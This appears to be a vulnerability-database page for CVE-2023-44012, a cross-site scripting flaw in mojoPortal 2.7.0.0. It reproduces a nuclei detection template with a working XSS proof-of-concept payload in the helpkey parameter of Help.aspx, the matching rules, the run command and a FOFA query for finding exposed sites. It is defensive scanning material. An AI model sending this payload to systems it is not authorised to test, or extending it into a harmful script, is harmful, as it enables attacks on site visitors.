HexBrain

Browse / CVEs / CVE-2023-44012

CVE-2023-44012· mojoportal / mojoportal· CWE-79

mojoPortal v.2.7.0.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.3%likelihood of exploitation, next 30 days
71%of all CVEs are less likely
Readycheck to confirm it

Cross Site Scripting vulnerability in mojoPortal v.2.7.0.0 allows a remote attacker to execute arbitrary code via the helpkey parameter in the Help.aspx component.

Impact

Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.

Fix

Upgrade to a patched version of mojoPortal to mitigate the Cross Site Scripting (XSS) vulnerability.

How to confirm it

Send: GET {{BaseURL}}/Help.aspx?helpkey=xxxxxxx'><svg/onload=alert()+x=
Positive when: contains_any(body, "mojoPortal", "mojo-accordion", "mojo-tabs") and contains(body, "><svg/onload=alert()") and contains(header, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-44012 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-44012

info:
  name: mojoPortal v.2.7.0.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross Site Scripting vulnerability in mojoPortal v.2.7.0.0 allows a remote attacker to execute arbitrary code via the helpkey parameter in the Help.aspx component.
  impact: |
    Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
  remediation: |
    Upgrade to a patched version of mojoPortal to mitigate the Cross Site Scripting (XSS) vulnerability.
  reference:
    - https://github.com/Vietsunshine-Electronic-Solution-JSC/Vulnerability-Disclosures/tree/main/2023/CVE-2023-44012
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2023-44012
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-44012
    cwe-id: CWE-79
    epss-score: 0.01331
    epss-percentile: 0.71325
    cpe: cpe:2.3:a:mojoportal:mojoportal:2.7.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mojoportal
    product: mojoportal
    fofa-query: title="mojoPortal"
  tags: cve,cve2023,mojoportal,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/Help.aspx?helpkey=xxxxxxx'><svg/onload=alert()+x="

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "mojoPortal", "mojo-accordion", "mojo-tabs")'
          - 'contains(body, "><svg/onload=alert()")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from